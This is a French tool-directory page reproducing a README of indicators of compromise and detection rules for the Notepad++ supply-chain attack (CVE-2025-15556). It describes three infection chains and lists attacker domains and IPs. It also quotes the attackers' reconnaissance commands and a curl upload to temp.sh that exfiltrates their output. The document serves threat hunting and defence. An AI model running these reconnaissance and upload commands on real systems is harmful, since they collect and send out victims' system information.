Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

FluxContactConfidentialité© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
notepadpp-supply-chain-iocs — Indicateurs de compromission et règles de détection pour l'attaque de la chaîne d'approvisionnement de Notepad++ (CVE-2025-15556) — Lotus Blossom APT, juin–décembre 2025. Comprend des requêtes Falcon LogScale, des règles YARA/Sigma et la cartographie MITRE ATT&CK. | Kitploit
Outils/GitHubGitHub/renat0z3r0/notepadpp-supply-chain-iocs
Gestion des Indicateurs de Compromission (IOC)Flux et Agrégateurs de MenacesAnalyse des VulnérabilitésAnalyse ForensiqueAnalyse de MalwareRenseignement sur les MenacesSécurité de la Chaîne LogistiqueApprentissage et Éducation

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Réponse aux Incidents
GitHubrenat0z3r0/notepadpp-supply-chain-iocs

notepadpp-supply-chain-iocs

Indicateurs de compromission et règles de détection pour l'attaque de la chaîne d'approvisionnement de Notepad++ (CVE-2025-15556) — Lotus Blossom APT, juin–décembre 2025. Comprend des requêtes Falcon LogScale, des règles YARA/Sigma et la cartographie MITRE ATT&CK.

Voir le dépôt
129il y a 8 moisPas encore vérifié
Partager

Attaque sur la chaîne d'approvisionnement de Notepad++ — Répertoire d'IoC

CVE-2025-15556 | Lotus Blossom / Raspberry Typhoon | Juin – Décembre 2025

Dernière mise à jour Nombre d'IoC Licence: MIT MITRE ATT&CK


Vue d'ensemble

Ce dépôt contient une collection complète et consolidée d'indicateurs de compromission (IoC) liée à l'attaque sur la chaîne d'approvisionnement de Notepad++ divulguée le 2 février 2026.

Entre juin et décembre 2025, un acteur malveillant parrainé par l'État chinois a compromis l'infrastructure d'hébergement de Notepad++, détournant le mécanisme de mise à jour intégré (WinGUp) pour distribuer sélectivement des installateurs trojanisés à des utilisateurs ciblés. L'attaque a exploité l'absence de vérification cryptographique dans le programme de mise à jour (avant la v8.8.9), permettant la distribution de portes dérobées personnalisées, de Cobalt Strike Beacons et de charges utiles Metasploit.

Faits clés

CVECVE-2025-15556 — Téléchargement de code sans vérification d'intégrité
Acteur malveillantLotus Blossom (Bilbug, Raspberry Typhoon, Thrip) / Zirconium (Violet Typhoon)
Période activeJuin 2025 – 2 décembre 2025
Vecteur d'attaqueCompromission de la chaîne d'approvisionnement via le mécanisme de mise à jour automatique WinGUp
CiblesGouvernement, télécommunications, services financiers, fournisseurs informatiques (Philippines, Vietnam, Salvador, Australie, Asie de l'Est)
Logiciels malveillantsPorte dérobée Chrysalis (personnalisée), Cobalt Strike Beacon, Metasploit Meterpreter
Corrigé dansNotepad++ v8.8.9+ (vérification de certificat) / v8.9.1+ (validation XMLDSig)

Chaînes d'infection

Kaspersky GReAT a identifié trois chaînes d'infection distinctes, changées environ mensuellement pour échapper à la détection :

Chaîne n°1 — Juillet/Août 2025

GUP.exe → update.exe (NSIS) → ProShow.exe (légitime) → exploitation via fichier "load"
  → téléchargeur Metasploit → Cobalt Strike Beacon
  • Exploite une ancienne vulnérabilité du logiciel ProShow au lieu du DLL sideloading
  • Reconnaissance : whoami && tasklist → exfiltrée via temp.sh
  • Répertoire de travail : %appdata%\ProShow\

Chaîne n°2 — Septembre/Octobre 2025

GUP.exe → update.exe (NSIS) → script.exe (interpréteur Lua) → alien.ini (Lua compilé)
  → shellcode via EnumWindowStationsW → téléchargeur Metasploit → Cobalt Strike Beacon
  • Utilise un interpréteur Lua légitime pour exécuter du shellcode compilé
  • Reconnaissance élargie : whoami && tasklist && systeminfo && netstat -ano
  • Répertoire de travail : %appdata%\Adobe\Scripts\

Chaîne n°3 — Octobre 2025

GUP.exe → update.exe (NSIS) → BluetoothService.exe (légitime) → log.dll (sideloadé)
  → déchiffre le shellcode "BluetoothService" → porte dérobée Chrysalis
  • Technique classique de DLL sideloading
  • Aucune reconnaissance intégrée (contrairement aux chaînes 1 et 2)
  • Répertoire de travail : %appdata%\Bluetooth\
  • Cobalt Strike Beacon associé trouvé dans C:\ProgramData\USOShared\
                     ┌─────────────────────────────────────────────────────────┐
                     │              CHRONOLOGIE DE LA COMPROMISSION           │
                     ├─────────┬─────────┬─────────┬─────────┬─────────┬──────┤
                     │  Juil25 │  Août25 │  Sept25 │  Oct25  │  Nov25  │Déc25 │
                     ├─────────┴─────────┴─────────┴─────────┴─────────┴──────┤
  Chaîne 1 (ProShow) │████████████████████                                    │
  Chaîne 2 (Lua)     │                    █████████████████████████████        │
  Chaîne 3 (DLL SL)  │                              ██████████████            │
  Accès infra        │████████████████████████████████████████████████████████│
                     └────────────────────────────────────────────────────────┘

Contenu du dépôt

FichierDescription
notepadpp_supply_chain_iocs.csvJeu de données complet des IoC (105 indicateurs) avec cartographie MITRE ATT&CK

Schéma du CSV

ColonneDescription
ioc_typeType : ip, domain, url, sha1, sha256, filepath, filename, useragent, behavior, cve, attribution, compromise_window
ioc_valueLa valeur de l'indicateur
chainChaîne d'infection (1, 2, 3, 1/2, 2/3, all, n/a)
contextDescription de ce que représente l'IoC
sourceSource de renseignement (Kaspersky, Rapid7, CrowdStrike, Tenable, Kevin Beaumont)
riskSévérité (CRITICAL, HIGH, MEDIUM, LOW, INFO)
mitre_techniqueIdentifiant de technique MITRE ATT&CK

Détection et chasse aux menaces

Indicateurs prioritaires (commencez ici)

Comportementaux — indépendants des IoC, valeur la plus élevée :

  • gup.exe générant tout processus enfant autre qu'un installateur légitime signé de Notepad++
  • gup.exe se connectant à des domaines/IP autres que notepad-plus-plus.org, github.com, release-assets.githubusercontent.com
  • Création de répertoires : %appdata%\ProShow\, %appdata%\Adobe\Scripts\, %appdata%\Bluetooth\
  • Création de %localappdata%\Temp\ns.tmp\ (runtime NSIS — présent dans toutes les chaînes)

Réseau — haute confiance :

  • Résolution DNS de cdncheck.it.com, safe-dns.it.com, self-dns.it.com, api.skycloudcenter.com, api.wiresguard.com
  • Connexions à temp.sh (51.91.79.17) — particulièrement avec téléchargement de fichier via curl
  • Requêtes HTTP avec des URLs temp.sh intégrées dans l'en-tête User-Agent
  • Connexions sortantes vers 45.76.155.202, 45.32.144.255, 95.179.213.0, 45.77.31.210

Commandes de reconnaissance (post-exploitation) :

cmd /c whoami&&tasklist > 1.txt
cmd /c "whoami&&tasklist&&systeminfo&&netstat -ano" > a.txt
curl -F "[email protected]" -s https://temp.sh/upload

Requêtes CrowdStrike Falcon LogScale

Comportemental : chasse aux processus enfants de GUP.exe
#event_simpleName=ProcessRollup2 event_platform=Win ParentBaseFileName="gup.exe"
| FilePath=/\\Device\\HarddiskVolume\d+(?<shortFilePath>.+$)/
| groupBy([FileName, SHA256HashData, shortFilePath, CommandLine])
Chasse multi-IoC sur les événements processus, réseau et DNS
Télécharger l’outil